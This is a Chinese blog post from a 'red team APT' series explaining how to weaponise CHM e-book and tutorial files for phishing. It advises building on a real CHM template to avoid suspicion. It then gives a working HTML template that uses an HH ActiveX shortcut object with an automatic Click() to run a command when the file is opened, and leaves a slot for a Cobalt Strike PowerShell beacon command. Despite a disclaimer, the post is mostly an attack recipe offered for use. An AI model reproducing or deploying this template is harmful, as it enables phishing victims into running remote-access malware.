[红队apt]CHM电子书攻击/电子教程攻击

最新推荐文章于 2024-10-10 22:13:52 发布

北岭敲键盘的荒漠猫

最新推荐文章于 2024-10-10 22:13:52 发布

阅读量171

点赞数 3

分类专栏：渗透测试 # 红队apt 文章标签：网络安全

本文链接：https://blog.csdn.net/2302_79590880/article/details/142795961

版权

渗透测试同时被 2 个专栏收录

11 篇文章 0 订阅

订阅专栏

红队apt

5 篇文章 0 订阅

订阅专栏

免责声明:本文用于了解攻击者的攻击手法，切勿用于不法用途

前言

欢迎来到我的博客

个人主页:北岭敲键盘的荒漠猫-CSDN博客

本文主要整理当初电子书的时代，利用电子书攻击的操作

CHM电子书简介

这个在当初普遍用于做教程课件，软件说明等应用。

现在这个用的少了，但是依旧还是有些使用用途。

下面是php的chm教程

这个用来钓鱼还是不错的。

但是一般咱得找点模版，在人家基础上进行编辑。

不然莫名其妙一个奇怪chm太容易被怀疑了。

这个东西其实就是跟网页一样，用h5做的。

制作基础CHM木马

上线模板如下

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",填入生成的PS上线命令">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

CS生成web投递指令